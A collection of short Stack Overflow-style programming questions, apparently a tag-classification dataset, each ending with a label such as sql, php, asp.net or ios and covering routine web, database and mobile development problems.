$scope.createcabsticket = {         cabscompanies: []          ixcarriernames: []          ixcarrierids:[]     };     $http.get( http://localhost:52377/api/reference/companies/active   { cache: true }).success(function (data) {         $scope.createcabsticket.cabscompanies = data;     });     $scope.getixs = function (selecteditem) {         var postdata = { activeonly: true  companyid: selecteditem  carrierid:     carriername:     carriertype:    };         $http.post( http://localhost:52377/api/reference/interexchanges   postdata  { cache: true }).success(function (data) {             $scope.createcabsticket.ixcarriernames = data;         });     } }]); </code></pre>   the web services work and the parent list gets populated just fine. but the ng-change event doesn t get fired. i am not sure what did i do wrong. i have found similar posts but they were not quite helpful to solve my problem. please help!!,angularjs
sql find duplicate rows without a column with value  i have a table similar to   <pre><code>transactionid | ordernumber aaaa            1 aaaa            null bbbb            2 bbbb            null cccc            null </code></pre>   i need to find the rows in the database where the transaction id does not have an order number associated with it. so for this example  the query should only return cccc and not aaaa or bbbb since there is an order number associated with those transactions.     i ve tried many things but have not had any luck. i m sure it s pretty simple and i m just making it overly complicated. obviously if i do a query where ordernumber is null i ll still receive transactions that could possibly have ordernumbers associated with them.     any help would be appreciated.,sql
css column property  so i noticed the column property doesn t work in internet explorer so i tried finding alternate ways to create columns  i found a way to do it with tables  but that looks a bit clunky. is there a way to use divs and create two vertical columns splitting the page,css
how to add validation summary on tabcontainer s last tab button click   i m trying to add validation summary on last tab of tabcontainer button click  but not able to because i have already added a validation group on each button in each tab.  how can i add validation summary    <pre><code>&lt;td colspan= 3  align= center &gt;     &lt;asp:button id= btn_submitodb  runat= server  cssclass= button  onclick= button2_click  text= save  /&gt;     &lt;br /&gt;     &lt;br /&gt;     &lt;asp:validationsummary id= validationsummary1  runat= server  validationgroup= vg_personaldetails  /&gt;     &lt;br /&gt; &lt;/td&gt; </code></pre>,asp.net
fade in webpage with jquery  what i m trying to do:   <pre><code>#leftside          #rightside (display:none)  _______________ _______________________________________________ |               |                                               | | category      |                                               | |  -link        |                                               | |  -link        |                                               | |               |                                               | | category      |                                               | |  -link        |                                               | |  -link        |                                               | |               |              content                          | |               |                                               | |               |                                               | |               |                                               | |               |                                               | |               |                                               | |               |                                               | |               |                                               | |               |                                               | |_______________|_______________________________________________| </code></pre>   every time i click on a link in a category  i want to fade in <code>#rightside</code> with the content of that link.    i know how to fade it in onclick  but i don t know how to load new content every time without the page refreshing.     any help appreciated  not necessarily called. does anyone what this is called  loading content without page refreshing  any pointers appreciated.,jquery
how to create a multi value textbox   i would like to create a multi value text box in asp.net for tagging like stack overflow      so please let me know how can i do that      thanks  laxmilal,asp.net
detect break statement in function   i have the function below:   <pre><code>- (void)dostuff {     bool alldonenow = no;     for (int i = 0; i &lt; [arabfbmatches count]; i++) {         for (int j = 0; j &lt; [arabfbmatches count]; j++) {             if (should_skip_rest) {                 alldonenow = yes;                 break;             }         }         if (alldonenow) break;     } } </code></pre>   now  if i call that method with <code>[self dostuff];</code>  how can i detect if the function broke  or is there a better way to stop and restart the execution of a function,objective-c
undefined variable: products and invalid argument supplied for foreach()  im trying to display the items in my database on my web page but i get invalid argument supplied for foreach() and notice: undefined variable: products. i searched for an answer but cant find one here is my code     <pre><code>     &lt; php          foreach ($products as $product):        &gt;            &lt;blockquote&gt;                 &lt;p&gt;                  &lt; php echo htmlspecialchars($product  ent_quotes   utf-8 ); &gt;                &lt;/p&gt;             &lt;/blockquote&gt;     &lt; php endforeach;  &gt; </code></pre>,php
can t find the reason why value stored to  delta  isn t read  while analyzing  can t seem to avoid the value stored to  delta  not being read... what part of my loop isn t working and why    <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt; int main() {     float a  b  c;     float delta;     printf( a= );     scanf( %f   &amp;a);     printf( b= );     scanf( %f   &amp;b);     printf( c= );     scanf( %f   &amp;c);     float x  x1  x2;     delta=((b*b)-(4*a*c));     if( delta==0 )     {         x=((-b)/(2*a));         printf( x=%f \n   x);     }     else if( delta&gt;0 )     {         x1=((-b+sqrt(delta))/(2*a));         x2=((-b-sqrt(delta))/(2*a));         printf( x1=%f i x2=%f \n   x1  x2);     }     else printf( nie ma w zbiorze liczb rzeczywistych rozwiazania tego rownania.\n );     return 0; } </code></pre>,c
grouping data in a datatable based on data in a column  i have a datatable as below   <pre><code>**name**      **department**   abc             dept 1   def             dept 2   ghi             dept 1   jkl             dept 1   mno             dept 2   pqr             dept 1 </code></pre>   i need to group the data in the datatable such that all names having department as dept1 comes togather and then all names having department dept2 comes next (as shown below) and save it in another datatable.    <pre><code>**name**      **department**   abc             dept 1   ghi             dept 1   jkl             dept 1   pqr             dept 1   def             dept 2   mno             dept 2 </code></pre>,c#
restrict caching images asp.net <pre><code>    &lt;asp:updatepanel id= updatepanel1  runat= server  &gt;     &lt;contenttemplate &gt;         &lt;asp:image  runat= server  id= img  style= max-width:100% &gt;&lt;/asp:image&gt; </code></pre>   i have this image in updatepanel control. and i change it s source in the code behind like this   <pre><code>img.imageurl =  ~/backfile.ashx id= ; </code></pre>   and backfile.ashx code is something like this:   <pre><code>image img = image.fromfile(getsrc());         memorystream memstream = new memorystream();         img.save(memstream            system.drawing.imaging.imageformat.jpeg);          context.response.contenttype =  image/jpeg ;         memstream.writeto(context.response.outputstream); </code></pre>   on my computer and oogle chrome everything worked well but then i tested it from another laptop  on ie and opera  and pictures stopped changing their sources. i think it  s because caching .so how can ш restrict it  i just need pictures to refresh=)    upd: it seems not be working in ie and opera,.net
similar to control.invoke for my custom class  if i want to create a class ( just for testing and understanding purpose) that should behave like a control in a sense that whenever i try to do cross-thread access  i should be able to throw an exception.  how do i implement in .net c#.  ( dont derive from control class. the similarity ends with respect to cross-thread access)    for example i have a class employee  when somebody access the object from other than the thread created  i need to behave like control and throw an exception  pls help,.net
central management of javascript  how do you manage javascript content on a larger website  i m especially struggling with various $(document).ready() s and the fact that i need to juggle all those id ($( #id )) strings. i thought of combining the necessary $(document).ready() with each  module  that uses them but this results in visible speed degradation as i don t have my javascript at the bottom of each page anymore.    what is a good way to manage javascript of a fairly large site efficiently and keep it easy to maintain,javascript
sudz-c for ios - doesn t work over 3g/edge connections but works over wifi  so i am using ios 5.0.1 with iphone 4s (tested with 4 too) and using sudz-c generated code to connect our web service. the service works great over wifi but if i try over 3g or edge connection it doesn t work. i got following error: it loads the url from the safari  even over 3g/edge.   <pre><code>2012-01-15 18:32:13.987 sudzcexamples[487:707] error domain=nsurlerrordomain code=-1001  the request timed out.  userinfo=0x18af60 {nserrorfailingurlstringkey=http://sensored/app/soap/sensored/  nserrorfailingurlkey=http://sensored/app/soap/sensored/  nslocalizeddescription=the request timed out.  nsunderlyingerror=0x18afa0  the request timed out. } 2012-01-15 18:32:13.988 sudzcexamples[487:707] error: the request timed out. </code></pre>   the url request in soaprequest ever gets respone     <code>- (void)connection:(nsurlconnection *)connection didreceiveresponse:(nsurlresponse *)response</code>    any advices     <strong>update:</strong> if i use other server using the same code  it works great over 3g too. it seems that the problem is in our server side code. any ideas what could cause this     <strong>update 2:</strong>  phone 1: the app works only over wifi.(carrier: sonera) phone 2: the app works only over wifi.(carrier: sonera) phone 3: the app works only over wifi.(carrier: sonera) phone 4: the app works great over 3g and wifi. (carrier: elisa) ipad: the app works great over 3g and wifi. (carrier: elisa)    if i use our service with phone 4  it works great over 3g too. if i tether internet connection from phone 4 to iphone1 (or 2 or 3)  it will work over that tethered wifi  but not over its own 3g. if i tether phone 1 (or 2 or 3) connection to the phone 4  it doesn t work over that tethered wifi on phone 4.    only difference which i can notice between those phones are that phone 1 and 2 and 3 uses finnish internet connection provider called teliasonera and the phone 4 uses elisa.    <strong>update 3:</strong> i run the app in iphone simulator and it works great. after i start charles proxy it doesn t work anymore. the request goes successfully to the server and actually it gives the response too  even the app fails. there is the request and the response which the charles proxy software shows:    request   <pre><code>post /app/soap/sensored/ http/1.1 host: sensored user-agent: sensored/1.0 cfnetwork/548.0.3 darwin/11.2.0 content-length: 396 accept: */* soapaction: urn:sensoredsoapmodelaction content-type: text/xml; charset=utf-8 accept-language: en-us accept-encoding: gzip  deflate cookie: phpsessid=a60ef32d72121d625a95b75b90d48a22 connection: keep-alive  &lt; xml version= 1.0  encoding= utf-8  &gt;&lt;soap:envelope xmlns:xsi= http://www.w3.org/2001/xmlschema-instance  xmlns:xsd= http://www.w3.org/2001/xmlschema  xmlns:soap= http://schemas.xmlsoap.org/soap/envelope/  xmlns= urn:sensored &gt;&lt;soap:body&gt;&lt;checkupdates&gt;&lt;authhash&gt;daswwe12e2e2wweqwessd&lt;/authhash&gt;&lt;lastcheckdate&gt;2012-01-19 05:45&lt;/lastcheckdate&gt;&lt;/checkupdates&gt;&lt;/soap:body&gt;&lt;/soap:envelope&gt; </code></pre>   response   <pre><code>http/1.1 200 ok date: thu  19 jan 2012 05:45:34 gmt server: apache x-powered-by: php/5.3.2-1ubuntu4.11 expires: thu  19 nov 1981 08:52:00 gmt cache-control: no-store  no-cache  must-revalidate  post-check=0  pre-check=0 pragma: no-cache content-encoding: gzip vary: accept-encoding content-length: 537 keep-alive: timeout=5 connection: keep-alive content-type: text/xml; charset=utf-8  &lt; xml version= 1.0  encoding= utf-8  &gt; &lt;soap-env:envelope xmlns:soap-env= http://schemas.xmlsoap.org/soap/envelope/  xmlns:ns1= urn:sensored  xmlns:xsd= http://www.w3.org/2001/xmlschema  xmlns:xsi= http://www.w3.org/2001/xmlschema-instance  xmlns:soap-enc= http://schemas.xmlsoap.org/soap/encoding/  soap-env:encodingstyle= http://schemas.xmlsoap.org/soap/encoding/ &gt;&lt;soap-env:body&gt;&lt;ns1:checkupdatesresponse&gt;&lt;checkupdatesreturn xsi:type= xsd:string &gt;[dds2d asddd2 a0333f 20dks]&lt;/checkupdatesreturn&gt;&lt;/ns1:checkupdatesresponse&gt;&lt;/soap-env:body&gt;&lt;/soap-env:envelope&gt; </code></pre>   overview   <pre><code>url http://sensored/app/soap/sensored/ status complete response code 200 ok protocol http/1.1 method post content-type text/xml; charset=utf-8 client address /127.0.0.1 remote address sensored/177.33.83.129  request start time 19.1.2012 7:45:27 request end time 19.1.2012 7:45:27 response start time 19.1.2012 7:45:28 response end time 19.1.2012 7:45:33 duration 5.77 sec request duration 532 ms response duration 4.99 sec latency 250 ms speed 0 24 kb/s response speed 0 13 kb/s  request header size 366 bytes response header size 400 bytes request size 396 bytes response size 272 bytes total size 1 40 kb (1434 bytes) request compression - response compression 49 3% (gzip) </code></pre>,ios
what are function conversion rules for parameters in c   i have understood how the conversion rules are for expression but i cannot find where or sum up to conversion related to function arguments. any help please,c
sql query to find which name contains first and last letters from your name  i need help to write a query to find names from a given column which contains first and last letters from your name.    thanks in advance.,sql
"center within first 2 columns  of a 3 column table   my table has 2 rows with 3 columns  followed by a submit button. i would like the submit button to be in the center of the first 2 columns  but instead it is in the center of the 3 columns. how can i center it within the first 2 column     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table&gt;
   &lt;tr&gt;
     &lt;td align= right &gt;label 1:&lt;/td&gt;
     &lt;td align= left &gt;&lt;input type= text  name= input1 &gt;&lt;/td&gt;
     &lt;td&gt; &lt;a href= alink &gt;a link&lt;/a&gt;&lt;/td&gt;
   &lt;/tr&gt;
   &lt;tr&gt;
     &lt;td align= right &gt;label 2:&lt;/td&gt;
     &lt;td align= left &gt;&lt;input type= text  name= input2 &gt;&lt;/td&gt;
   &lt;/tr&gt;
   &lt;tr&gt;
     &lt;td colspan= 3  align= center &gt;&lt;input type= submit  name= submit &gt;&lt;/td&gt;
   &lt;/tr&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>",html
disable usercontrol on the load of master page  i am using master page on some pages. and that master page is loading the user control. so i want to disable or enable user control on some page load which has master page.     <hr>   is there anyway can i disable user control on master page page_load()   <hr>  <pre><code>&lt;div class= uctabctrl  &gt;     &lt;uc1:tltabcontrol id= ctrlname  runat= server  visible= false  /&gt; &lt;/div&gt;  master page_load() {  // checking some condition if true  ctrlname.visible = true; } </code></pre>   but the problem is i m not able to get the instance of user ctrl  in short ctrlname is null all the time.,asp.net
why i have an error on sending email from preference.xml ussing intent  here is a part of my preference.xml.   <pre><code> &lt;preference             android:summary= write me              android:title= title &gt;             &lt;intent                 android:action= android.intent.action.view                  android:data= mailto:support@xxxxx.com                  /&gt;         &lt;/preference&gt; </code></pre>   when i m clicking to this preference i have a crash with    <pre><code> android.content.activitynotfoundexception: no activity found to handle intent { act=android.intent.action.view dat=mailto:xxxxxx.x@x-xxxxxx.xxx } </code></pre>   what do i do wrong     this is my class for preference. i read lots of theads but don t find an answer :   <pre><code>public class preferences extends preferenceactivity  implements sharedpreferences.onsharedpreferencechangelistener {     public static final string key_pref_instant_print =  instantprinting ;     public static final string key_pref_instant_print_screen =  instantprintingscreen ;     public static final string key_pref_pay_buttons =  paymenttypes ;      @override     protected void onresume() {         super.onresume();         getpreferencescreen().getsharedpreferences()                 .registeronsharedpreferencechangelistener(this);     }      @override     protected void onpause() {         super.onpause();         getpreferencescreen().getsharedpreferences()                 .unregisteronsharedpreferencechangelistener(this);     }     @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         sharedpreferences sharedpref = preferencemanager.getdefaultsharedpreferences(this);         addpreferencesfromresource(r.xml.preference);         preference instantprintingscreen = findpreference(key_pref_instant_print_screen);         instantprintingscreen.setenabled(sharedpref.getboolean(key_pref_instant_print  false));     }      public void onsharedpreferencechanged(sharedpreferences sharedpreferences                                            string key) {         if (key.equals(key_pref_instant_print)) {             preference connectionpref = findpreference(key_pref_instant_print_screen);             connectionpref.setenabled(sharedpreferences.getboolean(key  false));         }     } } </code></pre>,android
php -- blank page due to function name  i have a php page that has a file included in it.  in that file  several functions are defined.  one of them is...   <pre><code>function median($arr){     sort($arr);     $count = count($arr); //total numbers in array     $middleval = floor(($count-1)/2); // find the middle value  or the lowest middle value     if($count % 2) { // odd number  middle is the median         $median = $arr[$middleval];     } else { // even number  calculate avg of 2 medians         $low = $arr[$middleval];         $high = $arr[$middleval+1];         $median = (($low+$high)/2);     }     return $median; } </code></pre>   with that function as-is  i get a blank page.  if i... <br> 1.) rename the function to anything else  the page works <br> 2.) delete the contents of the function  but leave it named as <code>median()</code>  i still get the blank page.    i have this same installation in a different area of my website and it works just fine.  i literally copy/pasted a dir and it s subdirs to another area of the website and now i have this problem on the copied version (original is still fine).    any ideas on how i can troubleshoot what the problem is,php
how to skip all the first spaces in a string using shortcuts in c  i wanna to skip all kind of spaces in my string. i know how to do it the  traditional  way. i m not totally familiar with the shortcuts  so i d like to know why this isn t working:   <pre><code>(*str &lt; 33)   *str++ : 0; </code></pre>   gcc tells me that *str++ is unused which i don t get since i m moving to the next char if the &lt;33 condition is satisfied.    obviously  i misinterpreted something  could someone tell me what thanks :o),c
dataset not saving the data  this is the first time i am using dataset. below is my code   <pre><code>var transactionset = new modelexecutioncontext()         {             transactionset = new dataset()             {                 tables = { new datatable()                 {                     tablename =  transaction_history                  }                 }             }         };          transactionset.transactionset.tables[ transaction_history ].columns.add().columnname =  retailer_reference_id ;         var retailerreferenceidrow = transactionset.transactionset.tables[ transaction_history ].newrow();         retailerreferenceidrow[ retailer_reference_id ] = 8;          transactionset.transactionset.acceptchanges(); </code></pre>   i am unit testing a method in a class which has the datasets. i am trying to mock those datasets. i thought <code>transactionset.transactionset.acceptchanges();</code> will save the changes into the <code>dataset</code>  but in the execution  i am getting <code>context .transactionset .tables[ transaction_history ] .rows.count</code> = <strong>0</strong>     is anything incorrect with my code,c#
python module functions used in unexpected ways  based on <a href= https://stackoverflow.com/questions/6209/split-a-string-ignoring-quoted-sections#6243 > split a string by spaces in python </a>  which uses <em>shlex.split</em> to split a string with quotes smartly  i would be interested in hearing about other common tasks solved by non-obvious standard library functions.      if this turns into <a href= http://www.doughellmann.com/projects/pymotw/  rel= nofollow noreferrer >module of the week</a>  that s fine too.,python
"why won t this jquery script work   i ve tried to make a simple jquery script that removes/hides a form once it s submit button has been pressed.    here s the html and jquery:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$(document).ready(function(){
  $( input ).click(function(){
   $( #form1 ).hide();
  });
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;
  &lt;meta charset= utf-8 &gt;
  &lt;link rel= stylesheet  type= text/css  href= style.css &gt;
  &lt;script type= text/javascript  src= main.js &gt;&lt;/script&gt;
  &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js &gt;&lt;/script&gt;
  &lt;title&gt;&lt;/title&gt;
 &lt;/head&gt;
 &lt;body&gt;
 
  &lt;form action= /database.php  method= post  id= form1 &gt;
   &lt;div class= input &gt;
    &lt;p&gt;enter player names  separated by commas:&lt;/p&gt;
    &lt;input type= text  name= input_players &gt;
   &lt;/div&gt;
 
   &lt;div class= input &gt;
    &lt;p&gt;enter game name:&lt;/p&gt;
    &lt;input type= text  name= input_game &gt;
   &lt;/div&gt;
 
   &lt;div class= submit &gt;
    &lt;input type= submit  name= submit  value= submit  id= submit &gt;
   &lt;/div&gt;
  &lt;/form&gt;
 
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",jquery
antiderivative with apache.commons.math   apache.commons.math has the class polynomialfunction that can calculate the derivative of a polynomial  e.g. 2+3x+4x^2 evaluates to 3+8x. i wonder why there is no antiderivative (which should be 3x+4x^2+const in the example above). or did i miss something,java
cant add virtual device  ive started with android development today.<br> im having difficulty creating a virtual divice<br> ive done everything to the word that the android tutorial said.      but on creating a new device  the target only has one option. <code>android4.4w - api level 20</code><br> this in turn renders the <code>cpu/abi</code> to be greyed out. <code>no system images installed for this target.</code>    i went to the <code>android sdk manager</code> and had to manually add urls to download form.    here they are:<br> <img src= https://i.stack.imgur.com/drknz.png  alt= enter image description here >    my assumption would be that i need a arm emulator (if you call it that)  but i dont know the url to that and also  im not 100% sure that that is the problem.,android
nsfetchedresultscontroller problem  when i try to set up a cell in a uitableviewcontroller that has a nsfetchedresultscontroller i am getting an error as soon as i try to get to the managedobject. the error is:   <pre><code>2009-12-08 16:21:47.610 take10[4837:20b] *** nsinvocation: warning: object 0xa08dd140 of class  list  does not implement methodsignatureforselector: -- trouble ahead 2009-12-08 16:21:47.610 take10[4837:20b] *** nsinvocation: warning: object 0xa08dd140 of class  list  does not implement doesnotrecognizeselector: -- abort </code></pre>   here is my code  crash comes when trying to set up the managed object:   <pre><code>// customize the appearance of table view cells. - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {  // get the managedobject nsmanagedobject *managedobject = [fetchedresultscontroller objectatindexpath:indexpath];  static nsstring *cellidentifier = @ cell ;  uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier]; if (cell == nil) {     cell = [[[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier] autorelease]; }  // set up the cell... cell.textlabel.text = [managedobject valueforkey:@ listname ];  return cell; } </code></pre>   i ve looked at the class code for the managedbobject that is retrieved by the fetch  and it looks fine  an automatically generated class from my core data model. if i use another entity from the model in the same fetch  all works perfectly.    ideas      thanks,iphone
.net 4.0 routes and application_start  right i m using the application_start event in the global.asax like so:   <pre><code>void application_start(object sender  eventargs e)     {         // code that runs on application startup         registerroutes(routetable.routes);      }      public static void registerroutes(routecollection routes)     {         var context = new questionentities();         var questionquery = from c in context.questions where c.alias != null select c;          string alias =   ;         foreach (question q in questionquery.tolist())         {             try             {                 alias = q.questiontext.replace(      - ).replace(       ).tolower();             }             catch { }             routes.mappageroute(    alias   ~/default.aspx );         }          routes.mappageroute(     home    ~/default.aspx );         routes.mappageroute(     rss    ~/rss.aspx );     } </code></pre>   this is all fine  but when i create a new question and add an alias  this doesn t refire. i ve tried stopping and starting the website. is there a way of forcing this event to refire.     i m using reinvent hosting so don t have direct access to iis to recyle it.     thanks for your help rob,.net
how to run .net 4.5 apps on a machine  i recently installed rc 12 of visual studio and have created an app using some of the new features in .net 4.5.    this app runs fine under vs but when i run it from the command line i get the error to the effect that the assemblies were built with a runtime different than the currently loaded runtime.    not quite sure how to get around this      any ideas would be greatly appreciated!,.net
how to shorten this mysql query (colums use often the same sql parts...)  i am not an mysql professinal  but my query works fine   <pre><code>select r.id       /* total repurchase price per ton      * (quantitiy/t * repurchase price/dry) + extra costs      */      (     sum((rc.menge / 1000) * (rw.preis / (if (rw.is_zement = 1  1.25   1)) / (1 - (ifnull(rw.h2o  0) / 100)))) +     sum((rc.menge / 1000) * pr.preis) +     if ((r.extra_1_type &gt; 0)  if ((r.extra_1_type = 1)  extra_1   extra_1 * sum(rc.menge / 1000))   0) +     if ((r.extra_2_type &gt; 0)  if ((r.extra_2_type = 1)  extra_2   extra_2 * sum(rc.menge / 1000))   0) +     if ((r.finanzierung_satz &gt; 0) and (r.finanzierung_monate &gt; 0) and sum(rc.menge / 1000)      ((r.finanzierung_satz / 100) / 12) * r.finanzierung_monate * (         sum((rc.menge / 1000) * (rw.preis / (if (rw.is_zement = 1  1.25   1)) / (1 - (ifnull(rw.h2o  0) / 100)))) +         sum((rc.menge / 1000) * pr.preis) +         if ((r.extra_1_type &gt; 0)  if ((r.extra_1_type = 1)  extra_1   extra_1 * sum(rc.menge / 1000))   0) +         if ((r.extra_2_type &gt; 0)  if ((r.extra_2_type = 1)  extra_2   extra_2 * sum(rc.menge / 1000))   0)     )       0) )  as repurchase_price       /* profit      * (quantitiy/t * price) - repurchase_price      */     (sum(rc.menge) / 1000 * r.vk) - (      sum((rc.menge / 1000) * (rw.preis / (if (rw.is_zement = 1  1.25   1)) / (1 - (ifnull(rw.h2o  0) / 100)))) +     sum((rc.menge / 1000) * pr.preis) +     if ((r.extra_1_type &gt; 0)  if ((r.extra_1_type = 1)  extra_1   extra_1 * sum(rc.menge / 1000))   0) +     if ((r.extra_2_type &gt; 0)  if ((r.extra_2_type = 1)  extra_2   extra_2 * sum(rc.menge / 1000))   0) +     if ((r.finanzierung_satz &gt; 0) and (r.finanzierung_monate &gt; 0) and sum(rc.menge / 1000)      ((r.finanzierung_satz / 100) / 12) * r.finanzierung_monate * (         sum((rc.menge / 1000) * (rw.preis / (if (rw.is_zement = 1  1.25   1)) / (1 - (ifnull(rw.h2o  0) / 100)))) +         sum((rc.menge / 1000) * pr.preis) +         if ((r.extra_1_type &gt; 0)  if ((r.extra_1_type = 1)  extra_1   extra_1 * sum(rc.menge / 1000))   0) +         if ((r.extra_2_type &gt; 0)  if ((r.extra_2_type = 1)  extra_2   extra_2 * sum(rc.menge / 1000))   0)     )       0)      ) as profit       /* profit percentage      * profit / (repurchase_price / 100)      */     ((sum(rc.menge) / 1000 * r.vk) - (      sum((rc.menge / 1000) * (rw.preis / (if (rw.is_zement = 1  1.25   1)) / (1 - (ifnull(rw.h2o  0) / 100)))) +     sum((rc.menge / 1000) * pr.preis) +     if ((r.extra_1_type &gt; 0)  if ((r.extra_1_type = 1)  extra_1   extra_1 * sum(rc.menge / 1000))   0) +     if ((r.extra_2_type &gt; 0)  if ((r.extra_2_type = 1)  extra_2   extra_2 * sum(rc.menge / 1000))   0) +     if ((r.finanzierung_satz &gt; 0) and (r.finanzierung_monate &gt; 0) and sum(rc.menge / 1000)      ((r.finanzierung_satz / 100) / 12) * r.finanzierung_monate * (         sum((rc.menge / 1000) * (rw.preis / (if (rw.is_zement = 1  1.25   1)) / (1 - (ifnull(rw.h2o  0) / 100)))) +         sum((rc.menge / 1000) * pr.preis) +         if ((r.extra_1_type &gt; 0)  if ((r.extra_1_type = 1)  extra_1   extra_1 * sum(rc.menge / 1000))   0) +         if ((r.extra_2_type &gt; 0)  if ((r.extra_2_type = 1)  extra_2   extra_2 * sum(rc.menge / 1000))   0)     )       0)      ))      /      ((      sum((rc.menge / 1000) * (rw.preis / (if (rw.is_zement = 1  1.25   1)) / (1 - (ifnull(rw.h2o  0) / 100)))) +     sum((rc.menge / 1000) * pr.preis) +     if ((r.extra_1_type &gt; 0)  if ((r.extra_1_type = 1)  extra_1   extra_1 * sum(rc.menge / 1000))   0) +     if ((r.extra_2_type &gt; 0)  if ((r.extra_2_type = 1)  extra_2   extra_2 * sum(rc.menge / 1000))   0) +     if ((r.finanzierung_satz &gt; 0) and (r.finanzierung_monate &gt; 0) and sum(rc.menge / 1000)      ((r.finanzierung_satz / 100) / 12) * r.finanzierung_monate * (         sum((rc.menge / 1000) * (rw.preis / (if (rw.is_zement = 1  1.25   1)) / (1 - (ifnull(rw.h2o  0) / 100)))) +         sum((rc.menge / 1000) * pr.preis) +         if ((r.extra_1_type &gt; 0)  if ((r.extra_1_type = 1)  extra_1   extra_1 * sum(rc.menge / 1000))   0) +         if ((r.extra_2_type &gt; 0)  if ((r.extra_2_type = 1)  extra_2   extra_2 * sum(rc.menge / 1000))   0)     )       0)     ) / 100)      as profit_percentage   from recipe as r left join recipecomponent as rc on r.id = rc.recipe_id left join rawmaterial as rw on rc.rawmaterial_id = rw.id left join press as pr on r.press_id = pr.id group by r.id order by lieferdatum desc </code></pre>   as you can see  to calculate price  profit  profit percentage  i use often the same parts... is it possible to shorten my sql query  to make it more  elegant  :)    thank you &amp; best regars simon,mysql
proper way to set timeout on a method in java  i ve looked over some existing answers here on so and i ve used <a href= http://docs.oracle.com/javase/1.5.0/docs/api/java/util/concurrent/future.html  rel= nofollow >future</a> in combination with <a href= http://docs.oracle.com/javase/6/docs/api/java/util/concurrent/executorservice.html  rel= nofollow >executorservice</a> to set timeout with <a href= http://docs.oracle.com/javase/6/docs/api/java/util/concurrent/timeunit.html  rel= nofollow >timeunit</a> to method.    but i m trying to set timeout on a method inside my service implementation meaning that caller class is consuming interface.    so i d like to avoid implementing callable in my service implementation  because i want this method to get executed in the same thread.    is there other way to set timeout or simulate timeout on a given method,java
asp.net gridview - how to display headers to the left   i need to display the column headers to the left within asp.net  any ideas on how to do that,asp.net
apostrophe like search in mysql not working  in mysql database  the title row is this:   <pre><code>interview: gus o\ connor win </code></pre>   i am trying to search    <pre><code>title like  %o\ connor%   </code></pre>   i tried everything and still came up empty  no results returned.    i have tried    <pre><code> %o  connor%   </code></pre>   and    <pre><code>\ %o connor% \ </code></pre>   and yes  i am protecting myself from sql injection with code above.,mysql
dns.gethostentry(httpcontext.current.request.servervariables[ remote_addr ]).hostname returns different pcnames  i have deployed an intranet web application that gets the pc name of the client that visits the site  all pcs are in the same domain.     when i run the project from visual studio i get my pc name right but when i deploy it on a server which is in the same domain and visit the site  it does not return my pc name but a different pc name that i dont have a clue where it gets it from.    for example:    from visual studio:  hnyui.mysite.org    from server:  aewd.mysite.org    could anybody tell me what is happening  please,asp.net
mysql null or empty fields - new database design  i m designing a new database and currently there a many fields that end up with the value null.    i ve read about null vs    and i think that    is preferred.    should i go to the effort to ensure there are no null values - it would only take a few hours     is this worth the effort - note: i will be working with this database for many years to come.    thx,mysql
injecting data to a page  is it possible to do injections via php  for example  in the firefox web console  i can go to my web page  and modify the input values of the form via the console by editing the page  and then send the page back to my server. i often do this to check for vulnerabilities. i am wondering if i can do a similar thing via php scripts  that is  sending form data inputs of a web page to that web page/server. the reason for this is that i want to automate the process.,php
how can i toggle whether music plays from within a popover view in ios   i have a button that allows the user to toggle whether the app plays music or not. when the button is toggled  the code modifies the value of a key in <code>nsuserdefaults.standarduserdefaults()</code> to indicate the new state of the switch.    the obvious solution would to to check the value of the key when the view appears (in <code>viewdidappear</code>  for instance)  and play music if the key indicates to do so. however  the music setting is toggled from within a popover view  so the music needs to be able to be turned on or off after the underling view (the view the popover view appears over) has already appeared.     in other words  i need music in a view that has already appeared to turn on or off whenever the associated value in <code>nsuserdefaults.standarduserdefaults()</code> changes.,ios
is it a bad practice to specify max heap memory through -xmx and -xms parameters  can it fix system hangings   i have a point of sale application developed in javafx. some clients have pointed that the system starts to hang in a specific time of the day  when it s used more often.    i did some tests limiting the max heap memory of my app to a very small amount (-xmx30m) and i did notice system hangings  some slow operations that usually would take less than a second  windows that open just with a white background with no content  etc... so i thought that could be the problem on my client too.    so i thought that on these clients where i am getting these errors  maybe the maximum memory used is by default somehow lower than it should be  and by adding the argument to specify maximum memory and starting memory through -xmx1512m and -xms1512m maybe that could fix the problem  but is it a good practice to do so  can i have unwanted side effects,java
rails unusual statement: where( ).first_or_create( )  i am following ryan s <a href= http://railscasts.com/episodes/235-devise-and-omniauth-revised autoplay=true  rel= nofollow >omniauth with devise</a> railscast. a part of the code was:   <pre><code>class user &lt; activerecord::base      def self.from_omniauth(auth)     where(auth.slice(:provider  :uid)).first_or_create do |user|       user.provider = auth.provider       user.uid = auth.uid       user.username = auth.info.nickname     end   end end </code></pre>   i am scratching my head with where().first_or_create do. what does this code exactly do      my guess is that where() statement is applied to class user. but how does rails know that it is equivalent to <code>user.where(:provider =&gt;  provider_id passed by auth   :uid =&gt;  uid passed by auth )</code>      my guess is that it yields a collection  then if collection is empty  then create a new instance <code>user</code> and assign new attributes. else pick the first instance and reassign attributes.    are my guesses correct,ruby-on-rails
unable able to load sos in wndbg  operating used : windows xp 64bit c# application built with configuration: any cpu wndbg used : 6.12 .net version : 3.5    when i attach the wndbg and type the command .load sos getting the following error the call to loadlibrary(sos) failed  win32 error 0n193      %1 is not a valid win32 application.  please check your debugger configuration and/or network access.    i wanted to know what does any cpu means - does it create a 64bit or 32 bit exe and is there any change in the command to load sos,c#
